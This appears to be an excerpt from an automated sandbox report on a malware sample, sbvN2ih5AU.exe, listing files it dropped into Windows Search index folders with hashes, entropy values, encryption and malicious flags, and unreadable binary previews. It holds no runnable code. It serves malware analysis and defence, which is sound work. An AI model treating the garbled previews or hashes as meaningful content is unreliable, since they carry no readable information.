Preview:	..l...6.1.Uv,a%3v.P....D...._.D.}}a{..o)..x....Qko.o.IK,5.,e3....~.m2q.6..e.@8.b..U.D.......6Iv...=xa..........-....&^.5fy.:O<.^.X...U.i.C#.Z.......xX^....iA.IR....j`9.R.s.7?....~.A~....`..B.w.d......P.X._..1..r..%...>;.Kh4nX.S........G...1..4.......x7...>4..S..m.8.....pL....EOi..6E..d..8..!...`..c..F.n.::]....8MU.;M...@.Q..2d..-.\........w.,..7V.a.Pl.-;..YO.\|:......C...z.....[.%...4.........?.x..R..v.R.d.a.....T.. ..kk.....'%..~s.fd...hU.IlV..h...s... .........\|W3..+..1.C..:...g...5.....%.l2.=.^...k.........I.V.Bj..`...s.S.X.o.p.[.v...K.............B..1W...D@..5of{.0.qK<\...B.....\....%y...-..mT.........(y......=..&.?AF.&......Ca4cuh.x...h?Y....S.j...]3.Ab.'..o@..........+.7...eui.%...y.....O.].w.}.'uvK.!1d.C.LXqD.1..!.'P?xh......c.X...F.N4....}R7.Oq...G>P....N.tG.&K..1....V.-.........=..........h\s.P........5....2.B5\|5.....U..]..s...4x.z..^J...1.....!D6;]cL.{.k........k..v...].=.n.R~.....A.H0.(d$.^;.....O...I...%.j.......Y.<k..\

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.chk

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976261133179867
Encrypted:	false
SSDEEP:	192:Q20S2gzrUjYAjK7E1YsVSU6SjFOwjsxDoHG7gbcdGj:FOcUxjyeNUxn79q
MD5:	38445C8886C03FAC0387D8CB7AC50BEA
SHA1:	55E43CDC99F207B1C64AFA260821C2EE518B4B7F
SHA-256:	3D539EB25CB1C572921859FDC296D2C5723D344F6BD5376FD158D62E2C48AC08
SHA-512:	DDBDF09FC47477E63EC9ABD3BC00B1DD0F01698BD8EADECFDF0DAFF296030D0B3BBFA486C7662F03513916BB0456094C8DF3B17220E70DB1A4376DE1C2252A9E
Malicious:	false
Preview:	6....1....2...4......h..]]j.i...<{8V.z....1..J...z9<.12...,.6O..U.`.......&..R...1.........5...].Z.y..n..Y.P...2...7..!..LI<1../=r.W..`<.l.m- KC....6.Me.&..\....Pap..hi4q.].5Q@.^2)_1.f31..<.a3."..U....~...q....o.SH..........w.....Po..R....U..! ...@.ke{.W..p....%Y5~..%B...7.9.u..Y.R..0.;qj.Ww.....K..<.]..9K..h%.f./.t.%8..XW&...sQ...>.q......t..no.._..c.U.....),..b<w.....E.!-a.rv}.....L.:TS.n..xuU...UXGF}..~~XN......Q_......R..`..l.?.'..%..U)...f................6YB...?..v~...ui..%.`.J.[+....G.J.....I..j....._...v......\|.....\.}.-...ZD+.....l...,....y...P...~...qHpJ.R..0..E..+lr..8h...~"oK...Wq.e...B4!.p...f.9i.k2.HF......@.F.T.Z....Z.>R...L....1}.....4T..Xzi?.p.b.v...`....x].=%.AHi.K.Z..J....(u.h...k...X.....m.T5x8...;,r.Sz.t....zW...#..H...Z.\|=L.g..C[...0..F.}...z..+.N.~!...V.J..l..;...0x.8...bu.<:J...7....... s..q0...5.@#9=..../...z.H..h^.......^...".....#........n.7 ...+...J..<G3.o_hT.Wg..a.Wj".%...cb...pTn."..T....R.Wg.Ud.0X(Y.^..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2071012985023577
Encrypted:	false
SSDEEP:	3072:hnwqNtzr8HFsWzhWWm+uc0Sylh9vD8no/KDEuN8WyPjE5eE6Rj4KkgZA6Wv6eWy0:hwqr8HXzsISNIaqN7QI5adZ9Usy0
MD5:	67FB0D2803D3F5D9376E41C80DED1E69
SHA1:	BE11D84DC143D2A91C8937064DF38A9040412F3F
SHA-256:	D6EB552EF48849D315E2A2B7DD5AD07C7007B345D9D80A97A526F5C9A1EFE3C0
SHA-512:	EFB98338BEDCA7DDC12454916BC24AACBA26D377099CCED74804819FA72BC44C2876FABE0363F5972B698848E248F19614A878A5BA86DD8726559FB8120457B9
Malicious:	false
Preview:	u.,I...P.....4....."<.2-.....(..pM..W..(.k.K.q<.r(......o)z......`O.f)_..e.2Q~H.E....H.S.....^I......w..T'.....:.iS.{A[..s.W=I.}..s...<>...l#..f....&....l...y\|....nyX...c._..C..u.(.j,....h.C1.0..."..%p...n5#0....u.N.A)ru..R..n..PS.xf..t.x/...+...f..S...-.,,...A.qk....Q...E.....s.......2lr.5..0E.....^\....5.p./...\......y....QD.~..+..G...;.HIc.....R.3J...Y..Y~8.....Jn..T>.\|.c..R..mw..R...'a\.........r4.Exdcm...d4r?i.$...r..'.e.o.Z..%.3.:.p.AJb1b.$.\9hK[..$.....?.....I../,._I..Y./U./.:.t.I..&.EMM......}M!.@.f..P.#....i=.?.?....\..b...4]-Yl yb.R..QBoi.Mzv.M7(`O.=...?T+..V."..:.n.4k.._bD.J..../.c.....rD{..=;.3..UG;..@o?b...^..H..Z{.6.]...f.5..b....$....].......-+......FU...\@"^.I0......0?..:~0.n,.../..I.%...gj..B)......?c..VFX../..P&c....0..@.B....O.....n4..q.....V..%.M :........o'.XM.f+.J:...hO....f..h.3:w........,.W^.!f.azs....3...#.....N.......l..'.j..y...vh......o.........&....V.d[.....pD.o....U.\|....F\.n5...J....t..*... G...zFN1.KP.?..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb00001.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.5017508401051742
Encrypted:	false
SSDEEP:	3072:EzdSkeK6fk5mEZ7a18Tf9btanbVbnNGnZvg13lKe6I5/7JA/TRt/8aNcmul34k:Ez7eK6farDf9bAVlP5lJws
MD5:	47646A241CECF4328D42CD0E0E6D5A10
SHA1:	DC5F2D3A86A9CEE165A8D82FD2A2AB986E0B2055
SHA-256:	2BE12AFC36F9B5AC6714F0FD8805739E4A3B81217374EEF2B67293E8FFA46BD2
SHA-512:	FAC1A2FDC7E5866B3761D4CA182AED12808CEB8439ABD80EC2C4E6914D9BAE035BEC34F0D8BA61DD07CCADE7674A957152BCFA1FFFFD1E3CF7C4F22F069F29BB
Malicious:	false
Preview:	......s@.9;]....h.E@....$.r.]P.f.?I.r.dj.Xyg......m(....).M..D......o.Si.W.[V.S...Q...<1 &....-........F.Q.q.....X...Z..A..m..._3...#f.v.H..J...9...q.E...R.{zo.Y.K...(...f..4..-..Z.B...s!V.#g,.+IE..Z..'yi.p0C......[..i.f...C.h.......>.z......)o..@.ev-?.x.........B..l;u%.E.v...Si...'...q.z.&..$I@....4........~..&....-!.......I3.(..t....g\|....O.6%3.u..p...3..<jYT....G{0.../..:.a]./.w.O..+...0.....J.....M.sY...^.v..].>......w&$....F....K...r............."....9.B.....re..h.z \3..m..w...v[.4.!%xL2E.T._?vh.......r-ZG}...^X/R3..Y9&.........M;.....p...B..m`..[..{WA..].....5.a.c.....1y.mj..P.x..9....7Y2-...i...&......T...b.r.d..k.......(..{.`.1......82{..........BD.)Z..Kg..+g......u.W..]1r......4.,.F;P..v;.A........L.....k.HQq>..#.... .L.-`6..v......@...d\../.K..g.~..6..<.3../....f=X.....Y.6...ax....#.L.N1">H1..r.}.>$..&,w.....4.;Ao..}Z.eg..I*p.a..N. ..X..s....Vu4atir.!l...o.:..BE.,G0..V........P..u.Ju8...'.OJ.n.@...m.+;V...u./8..Cv........f........IC.S

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2076125623019065
Encrypted:	false
SSDEEP:	3072:DcRb3u1c7Kp/i5GVjCxN9W8P5iM1Apb8Rf8uBDbo6YK+efQdTpcui:Dc9scXKqtkM1AtSfVBDbZne1ri
MD5:	386510865BE105316267DEB50AF85C7A
SHA1:	F38194A64D4D45A5752DF2256B671348AAABB6E6
SHA-256:	4C086009A078F9353D41532F32E52BF1C049014C375EEDC65FEC7B31005DE822
SHA-512:	D72891B6FE66C601615538F681EA3A58C608B3437AB6B9DA2397179A9C908D0313882ED754CFBEF5599E720D1F46C814EC55ACD9B14399795F0F3F16A39FA65F
Malicious:	false
Preview:	........j......<I..1..?r!.[..?..H.Ch.6.z[#..kF+.......u-zj.yk>.q..D.".-....z0..../>NB:...V.!.J....2..?a.}3..E...a>......e&.s.~......(.92n`..bu.`".....J.xq.....R.)...\.. J5....,..}g.R..<...0(6...a..).P.h....P.i.ko....C...:'..L.........e.=...o7j....y.E./I..'/.r..W...."...xBMn...4.....".....WW..Vm..i..z...9.'.....w..6.....O..U...<......5....zN .3...X...L[.&........k`{C..Pw....STG.u0U...r...e..,p.xzG~....^....{O..<../..7C^z.nh...t......7>rV..+.?(./....#...f..23DWv./Vc..Gd..S..[....@X.Z..d.{Qe~.,..P.fl...>.s..`......%.ku..P>.#.y.hT...)...Z+.:.]..Yo..q...~...&?(....U-..Z._fY/.3..,.G.....u...}bw <...N....,Y..g....o`..X...Z..L.qS1L..i..bk...21..kG...n..+G...2...oF4.q.....3.c*Xj.rz....PO8.x\.......@......k.....d..[0j.:..F......\|EJM<...RP.H.)W<.TN...S;.YF.......,.w..a@.N.{...Wv...LK.\V>.&GR..m.4.[.t.`.o...d&..T_J3..,B.Ni.Uc,.....M9..-.6:..')a>..x...W.Zs.~...o...(.]......{.:.:Y.....xa....../.#..t"..s.m.....$....`....c...$..`&CWz4.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.20744607853967
Encrypted:	false
SSDEEP:	3072:4fpiErnXMF1gHKihTMA/rJCJLIaj3h7HaObLf+QpqcLxy:4BzrXw1gHjhgA/rJCJ8aj3h7jbbLFy
MD5:	1175B367C00F5169BBFFE4787888565F
SHA1:	60432E2CE4149F0A013DBD62E01754E8EE170423
SHA-256:	0DD46F3550C4166F65A46FFFCC5151748ABD5B07E068B0C4D85A8547DF4E4C27
SHA-512:	80F738F1DBC31604F98FD8682749CAE2F8C8B9DFE71E8D90C248FBB433AB11E8E63A581A655F41DCBFADA049B863349C4A4863884FA674221F434E5320D28642
Malicious:	false
Preview:	........P...N..+,.:...j/...]Q.h.!....n..".........gE..U.w...U.mR..6.UG......!..`V......n...[.>~..nd.R_;......E.cko...#..Q...[.../.........$..d.G.\.@.e.)..>.8A.y...(\|W....1.....X....X..t. .....+.}\...k.b...;...W.y.Eh....P........cX..4..h.Xw6..`.!..J...mg......S!..;?...ts<o.6}.Q9 .!..C....@..J.......N.^IW...k.W.4......ez..!Rc...Gq...L.....+.,....,x.ZN2..db...?. ....)..k...I.......-Td2..+~=>7.....s.=....r....d....a@.0~..=...y.}3%{..{.?.j4;U.0...(..8y...1...z...&.H......:..L@.h...>.j..V....U`.?^.d...g..~L..T.....B..."..O..&8&.....2...".TSCiV..G.....{.'=..j.J...!..F._....O....YB..6~-7.&.dq.Y.s..KmM...lc`d..55!_..a.O..?....R..^.....IDj>m.t.X.S......$....u.P.....e..<...D..3t.X....6.b......{...E..1.?....@.n../.Hg".1...,...;...a.St.....(..5NV.^)..bOb..Q).E..&OEX.lv...$.U.\W.k.`m/....F.=.f./.sm.1..w.HL.\..y..._r....U..ZCQ.C....0P}.'......K.Dz....x/._.e.. . e.,..>.)f...)..g..o.".......[.&j...>._..).$1.......G.....!.L.%:G.....5..0.e0

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207831942610378
Encrypted:	false
SSDEEP:	3072:ZhqHPyqbUvZ+poXhRsEKa2ggKzY9N92uLoyx6ewazomV/8s8tEYXIwaB7:ZA/UB+poXAaJgismuLoDexV/8HIwaB7
MD5:	232E5EE6B259055FF8E189AA455CEA2E
SHA1:	E2EF7BAEA61B69418923392D01F68E2B6255E7FB
SHA-256:	94A9718373C7A30F00EC27B0539AA935D17C7681F3CB343D2810C1B0D1AD8918
SHA-512:	42F0C81336C796B454B6BF44141EA816DE544D87FFE8213D56901B1D623CE9F6535591B3AD44254D559E9ADAD0B5805BE03E8739F2F603B7437690CFDA6B0602
Malicious:	false
Preview:	.....C}.L.3M.g.....6q.#.x.~.le...x..Y..x.=..M.y.....z<.W=.S..N...'.+....d.B>..f.).t.-..$.......fx..G...}.............l..V...9..k..).ZL%."..T(.=<..}.h...#).XKb..yLL..Oc.X..&...G4~d.........g...w.0..N......>..`....DW.YT).i........s.BM>..V.V..x......MW81.7....I.=..gB...`.......F..p!.Q..l{.i.o{...'..Qz.H...pm..Xt....r4...%0..NB.y.f..Wd.C^.1...a.........a..x"..(...._C..%v.A.8&k..,..j.k....I...#..,]....L..@w.......hW>5..C>w..J.\|..n.ht9......=..........8`E;..Y..\|.l+EU<>.........ujhJ..D......x...h."....'.9.n..w..t.9..7.?...Y..'x1 Hx......M+..h.L........sj......-0.0v...uV..{....J.).V....OI[.H.(N.)=~.....>m.A..U..$}.CVZ`.lI..C..U{.O)...A..s.]..e..C.Q.mAU....$.{......n.+....[...$."Do.R.......Y..7.3.............`.......n.p....... .B.'.M,.lBB.6S....jt<MN..CV..$^..C7T....1.^..t......T.Bf._...d.LJ:.5/.....:/+.......^o.:.&W........!.<.<#j...z.....{.l.x{0.SEj...b.Q.d....w.g^.9.x....Vfz...+....e$"..s Z..=V........t.VK.q?..NT.Hx/..a.^..c.;..8. ..GC....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	37788
Entropy (8bit):	7.9944633808234755
Encrypted:	true
SSDEEP:	768:VYzhYnrDYgmkX3+QNc1Qw0S/BL8cPtkiITXGcI9/:ilYnr8gmG3FS1Qkx8cPtdorK
MD5:	F3A25FEECD86DA2FDD0B0B8CDD708133
SHA1:	F807B965DF1D5BB80BD5512C7ECB17D2971F5C99
SHA-256:	6C3F120AE5C27656FE5B43D6DE850979468252E4CB73F2B496B18FB40F157F92
SHA-512:	5B5AAD2D8E20AE3DC220F15F076690959D0BAFF7BE7640D5387E9003F16D186D2FCB8B0EA546FCAD845C92DC23CE271422317BF680DA512294EAEA93A503E41D
Malicious:	true
Preview:	0.0.....r.}s".....PJ........#9...i.V...c..D.M.j...z2.^.`..7UhH..8B\......../"......VJn....b.....j.{.n.y.g.y..........EO.,.#.<1\|.'\|...%[.v....G..]."....K~4..,cr.U3gH_O.R.M...].F..4.&....8]O8.R.......I......0...K...L.[.5..u.aVmx...1>.&"......L.}..s..NU...b......lX.....o.....@.;..._./..M..Ve.`.....#.Q.u2kg.W..:.mR.b..7_SI.?.y...].......\|.O].(.O...<p.....c...%!.F?....g.Ll.&7......>..#C..w...=D..U7{.,H...lH.K<........^.F../..M.Tj........".>W.U.^......N..t..OS....rw.. ...E..`..)....1.....~.q....y..."<.h...;j...K.8....##...(4C~...ac.8..I4.E..e$7C.Q.^....i.#(+.A......x.......\O>...4R.X.ib.........W.e.2\.Dk.......x...7./.3.6.....&...B......6..8U....$>\sO'....Px.....C.].v..e..ls<.....d.&/FY..4/.gV<j.....0.k.ow...a.E......r6.p...iS.....#Z.Q.....m..U!(O....L...hD..P..r.}.`..8G.^........./;...6..W....p...r..3...%B\|..S...s...%Bz.....V...\........~.{.q..:b....._..?....-...!y4...$RUm1}.. -.x......Z...kOXK..Y..^.@M.iX.f...?.c.F\.oN.Y..3.2Ek>XR?.O>

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	50753
Entropy (8bit):	7.996348815737301
Encrypted:	true
SSDEEP:	1536:QfDFf0fCj+b5698r4iPpILwgLQnc0SUEdaDjmbFmJA:eDFsfCj+5xr4iBIL9cc5UEAZK
MD5:	7F547AF1CCF270F46F28407F867B4DFC
SHA1:	865A160797AF29590312BC35C43A1E6040E52D12
SHA-256:	6E6C444E6E6839184DC84F18D6BFB94F6E6D51B16A124150164EEFE278ADD169
SHA-512:	4EC81747504465C7D1DF7FCEAC0491666962610E4447E9F3AFF1D388CA2C552A3DC3340C3B2FEA9CBE3752FB7AEA9A93789B5CE154B5B53CA7CA71E40FC1D6EC
Malicious:	true
Preview:	.....,..Rmg3~.TJ-..h.r.....0.J.26...i......0Hvj.......W.F....A......j.k....%.!...g.FU............2......~..p...Q."...=.H.l..x....d....L\.RC.9M~.+..yNu9..k..`..D...'_m'.....!%`::e...v.s.G..J.....y...f..wo,y[.....m.X..\|h.."8,T.b7...H.$\.^.......0.+qK.~..j.p@s...oL......N.4.1,..g.k'.........?.t."...A.w....B@H...V...^..Et{oX"q....\|..&..f..\|...g#<@"..p....t.G.:]..".....u......eP...EI.......'....8X2.k.u".S_.).:..a..=uu..q[.H1.KkH...h...o...;..cEYj..3..s.7....]..:r..C..1.M..f.......s..&k..6..`.@..Z....M.R....+3...dyjX.-.7ymg.r"J..^...p.&.....JLe'.AwR.Q#n...t}....#..b..x...(8{.Gs.V.\|,^.....<.}.T.....#B........!...y....7.2edV..c....c.......[....c.@i.....O.w.k.z_K?...uWb...F/^....~2.. ..a}..../a.tg.5...[5.Yo.f..h..k<v...)..g.....C.m...~(u.M../H^8...<X....;,D.%....#a..d..iF.IS.zh.v....u..dAA..^....g!.P..^1...#...y.'.E3F.. ...c...n......'....2$....~..O...Y.@p".2.R.\|J.#sX.!FCa:.cnY-L.9...(......?l\.....".+..G...q.&......~....uv..^....p.....zB8Y.kj.8.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.index

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1126711
Entropy (8bit):	6.542077784010186
Encrypted:	false
SSDEEP:	12288:RLycadlSvE1Bx7BefoQaWFxAm8DStxmthXv3zrLoE1Bx7BefoQaWFxAm8DSHxgXa:YSyYfoyFxz8GfoLr7YfoyFxz8GHxUMn
MD5:	8BBFAD4E855408D4D39F2852268B4646
SHA1:	63DAD458BA3C1BFBAEA78FC0FF9EA41D7D119016
SHA-256:	69B811A44C3B49914479728C2343D3D64256F78728BD99D279D1152C872BAA08
SHA-512:	4ABD57C042A2A4226D8BEA1C57A0F6318DD96644B4CE22A133CD9F6BA9662F66DA43A64344F3C9AC99A1C7EF11D6A6ED494A5D378223ED6915FED495F6C577ED
Malicious:	false
Preview:	Ej..D.#..M.q...B(...V&k./...s~.,.wU.B\D9s...S)6..X...!..U[xs..N....t.\|!x}...e.4..a.I.!I...e.]7.....A&....H.~"Y.\|..F..v.v...sF..#.S.K.M`t.........Fi&..c..-.......5....n.\.t..U...Q~..Z.!.D.U.gCpu..z....6..(Y. .6.4..<;.......u.....wsERbQ..j.a.<;.....\.)....>...:....YzV.(.w......86b.).N!.k.8.&..)..sj7..gZ..q.+?SV>k......PU+...3...s.6<.......]....G.'Fi.....h.ff.....>.q...J...A...@.&w.Q.C.'1.h.x[g...y.....X....F.W...D.'w.9yng.......H.....L.....?".{.;....a.....].,.{..p.1..>...=...v?..1Q.z....@....}..._...p....~+.2).........3].A..N...Q..Z4.#..n....`Ua....(.I.3u.7.1..5.....:.u.gm<..+KA,..d"..o.'$x.........(!.6.........d....$T.E.w.5pI).t=..Jl......LW.../?q..0.N...ai3[X.8.a<..g+].3.......<j.L...w......8..i~?....j.!\|..... ..n.t.d..H..M..N.2c.3BA..Z.L.e..g.......:...b0....;.=..#.\...A...i.KO.[T8.`..I. ......^K.H..5......ex..-.Z..w..oo.Dc...4.\|9`.D..;...B...^.+.a.*.w.;d.?u(... H....&L....N.QF.H.8i...#....D...Rw1K,.y6.....x.....M.`..SH..X.'....@......d.\'@Od.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4e1bbf13-af24-432a-ba27-bf0691e09659}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	37755
Entropy (8bit):	7.994237860716838
Encrypted:	true
SSDEEP:	768:qw+xLWIRo6QJunWXpr2jttBbTpdnZmV7KA2MkOLspvOqgFQgIZk7WRVcV:B6LWjrJqKrupZdnZmhHXkOumRFQjKWRi
MD5:	8739831AFCF7588BE64768E50CC5C7F3
SHA1:	435612D9918B2102414B6F476E07842E1C795844
SHA-256:	6A86F5EB3BB41E258DCAE6A210F63E230AA5ACC8BA720F61B744804A2D377F29
SHA-512:	26322289B76581D8963865A1D561AB8C661AFB5A21307ABED9ED5ED745C8FEDFF8E36956484055CE6087FD957A2FEBFFC9D55F7581013648C86D91C8ADA81755
Malicious:	true
Preview:	0.0......\|..;.(...r...i..D...`....6.@......0..0..D..A..W...lxaH.0..z....qfKg...O...Y{n..y.%.,...H.7:.\....kMc...A......_O$....8..PQ..s7....w7{.6^...P....ya[..PF1s.Bb..'.......]...'........U.. ..H.p.)O....[...J..)......X..T..p....+........K...]+.H.....Z.K]^...]..P...]..p...t.x9..idJqG....,4.A....N.........B.8go...Y;..m.8.....I.......!)[5....nP...:..tc.7>..Q.@.....A.A...<.(.......3F0...j..j_._..6...{p.Cm....&...MR....X..p.k..'..a.....X.5....}.AY...9Q.N.#...]'....W5.f..S....Y...A..^...B..G.....'...gx......E....=<-.H.f.9.D.o...aL.s.?d..x..m.&...fV`.h..\.......!.p.PB...Qn\|b.].<&...m..~w..r_..CW.......I...z.....X..%.........v.....T.C.2..p}...f...!9..9......."N..jue./...=7s.$>.E...3...o.....p..'.m.qU..7~...6...T.J)\....=..UQ....#........w...<.u.@..?..%..b.0..H..GR.B.....i.U_iX!.[..W.D.[.i.g..... .@..E1..~..H.9>.....`1-`..u2..r.....u..dj\|...9..\.D.c.T...3.t.s.@..9.....YQ..H`.SF..e.L..!2@.,..\...X.d.......s5...m.a....,....".^"=,Z..rD.....Y.4.K.._...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4e1bbf13-af24-432a-ba27-bf0691e09659}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	50707
Entropy (8bit):	7.9959214416174795
Encrypted:	true
SSDEEP:	768:JEclHiG9Z+ENTt5+nscCkij4WKC/6ni5TMn8R168XlEGSR2iCAGWgNkEBkG5KF5s:1CcEElSnPHPC7pj68Cy/NSG5pbaWms/
MD5:	B5A2D8E5465DF4A93BBC56F65FE4EE8C
SHA1:	2748E07E9C6CFF418775840952CD657BD640B7C5
SHA-256:	5C4247BC24D3146CE3A8DF965AF2F373CE390EBBF0726AAA44FD30F01E156631
SHA-512:	B31AAA0A88D880FAE94CCE775AA1F9381644840A3D193E607693043F3E39198FE7426042F40B81E101D37BB5BBC95898FC4D17715EC20EC574DE3036AFD71096
Malicious:	true
Preview:	.....S..w....;>.O.....Z.<.Z..%.K.U.....=...Y..I..W..Y_..eB.\|......L..:z....U..(%f.K6....._@J.<..cq...[..4L@.e3..../..<.7u.f.......Q..Ub...DX.J..........6..\|P=J..m.).b.Y.?.U.E.B....m.f......mv@(...X.........{......X4..>.c).9..9.J....s....g.&...qam.p.Rs9...#.S...)[.zy....)..0.Og...kp......?.....7...IU2.k.c.Z.......9..3...Y.qU"Cd>;..b...Zx.[v0F..W...p......#.l.8.P"u..y`....3....z..........FB...[.=G.Z.O.....X..o8c.R...r.x.k.B..P...1j..6.6....A..m...<.E..$....OY....g..Zu\1f\lX.3...*<.PRqk.....r.{...q.q.?.=...u..s;i.&..E4YA..$.3_.....$[\|..F..a.>._.QD...qW.y..........7..EY.&WRU..vr..L......Kt.U{n....Zs..mkl.Ji5......-...E.....f..7..7..~..:.-\|.@...........0Jp..P...(P...t..Q#.D.9 ....T"Z.[l3.rm.A.)i....v..B!K..!.~..N9).>...}..E.i.N..0s%iB.:.....[.2.....D.Hq+...~......mS9..l.\|....u`...+.0...B..O..T..g.0.......G~.V.\|..I.3J4...1=...}...fV.fQ._..).4../.,68...C...l...kx.m.....&.Vm\.QZ. x#t&....I...V.P.z./....T....#.4.....V.g?._D....1F.nRi.o.......E.Q....._.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4e1bbf13-af24-432a-ba27-bf0691e09659}\Apps.index

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1126340
Entropy (8bit):	6.542529150745076
Encrypted:	false
SSDEEP:	24576:2+1D/thYfoyFxz8GfoLr7YfoyFxz8G21itt:2+Gf1xz8GfMwf1xz8G2s
MD5:	2A7C8E5B61D9A5C83B88F5F70421DCF5
SHA1:	B4B78CAE5627CCEB7792D09ABA81B0851B37F80D
SHA-256:	397A4C39FAA757A7D5CA561D1422ED8A03DF92CFE73A9AFC8442186DC961F3A2
SHA-512:	118483CB2340D79C24537C194A20EAFC3D65F78A9759632DF40EC1CED393F9467E359679494BA5FD1D46648D79DEB8E39C628B8857F28941ECF41B2C0D89DB88
Malicious:	false
Preview:	Ej..D...j)...H~@. ...ix.a&.?.=.wbD../.~.aS.c..v...J..2+.D.....ZJb.......o.....^.4..\|7..,Bu..."..I.HtS:cS.uc..@......Q.q..".E..d...E.P...v.u...E...mP...[......l..(./.-...s.x..nsp......q.7......o........#..3c.ev.H3g.......a.@3/......`..H.t..4.T+n.m3...h....P&p.<.:N..}MV.&%;h...Rx.Wy...r..t.....T.3...D....v..#.!?./K.]N.}..?......2..@.\|0....!A..<."....m..P>!.."..@.4.}.c.J._...Y.S......._.K...B . i.oA..?.._`ZB.v...M........J......b.d..{.UrG7....~ ............$...\|h.Spa.........g......Z...4..F5......SZ..@.[_.&.}.`#..-.n.7..P.d.&..E."..p..q.5..8.N... `NO.O...I..3...gko.X4...j....C>.....wj#+\n3..gS]..(....s....).c..xK..>...)..K.x..6.x...$.)..#..q^...^\|....M..,..-.).1.U.#...].6......=.t..C.R...ln.M...;Y......\%.....?t../.V$.-...".....f...D}...+<,....`....EM.cA..m.....0.........x.Xi1...t. ..?W...<.[y..I.W.{.2...!2...d..V.......n.6....h.a..m.....8.d...L.1.........I.v.o\.#HV...b.f8.".\|.6.9..^..C6mM.3[.........f8X.M.r...Hx..u.Y.~P'...\3p

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{9f722c99-bd7b-4266-8623-d49517e10886}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	37755
Entropy (8bit):	7.995291733090452
Encrypted:	true
SSDEEP:	768:5tGxvbNTg0KGrZTpr7/bjZaLs1qNBRT4VBmixJFW:5g55XfkLPTpuC
MD5:	7A5330CBD16587865621C3CA67B6E3AD
SHA1:	DCFED06B1E14DB3E1E26942A94DBC4BBAEAC112E
SHA-256:	1859EF34BFAAF6308612CDAF0A5B2234269594C7068CB750E2522DCD83CAEC1C
SHA-512:	4FBFDE55B3CD68DB9FE78A1E894D41DFE03AE8E4DD994B64115BF0BCE18A9277DFE8C9E5BF0E64D29017F573E3049BECAF3F7A92EA4884D783B157F4B6F7AADB
Malicious:	true
Preview:	0.0...O.%C".........n......K!...M...$..p.oz.+.v..C.....J...y....4HN%.?{B.e...>."RD...C.2N......U..,,<..@b......#.h.:5@...'.~.n}?..d.4M....TA..o.8.=./.......$g....\}@...]..'...X...L....q...K......~~8..f...8.j....1,.. .>u...H:OKQx..j?/&.G.vLz.i..bO@......[.........fG.><T.1.M......a.d........k...-..8.MC..qf.l.^V...ro..w1.f.y...'..qG.B..#.HW..;...!wp..n9.Y....._..^.W....O.cp.F....j...w.St...&.J.J....X...t'.Y(.....<!.2S}..C.r.V.@..6..V........$...e.......&.m.X..b.ZF.OC[..../...G..._.^<`.!..G.,....:..x...I[.\Vx..(kK.;70.D..(o.NS@.........J[.....a.X..B.U'.r0..icT...<.J...l...\.N.C.)....V\+.....Q.imw.i'..3\...x....R.&/.)i`N.E...bx...H.^..?F;...$....l.s..7...i^._..D&....?...LV.z=.hWE%7..,7s.....B.=.>.:....CC.....?.....a.1.[. ..K...N;4..~.Hn...q.D.2...I..e)..R.u%..#M..D.....uz...,.............P4.Ev...,.p...5....."...`..o}.s.C~.P.~a._.............>......0...;.....&.Hg.......f8-.x.....;...Z55e...+q.3........,\...........*?.......@...W..0&.o...J.

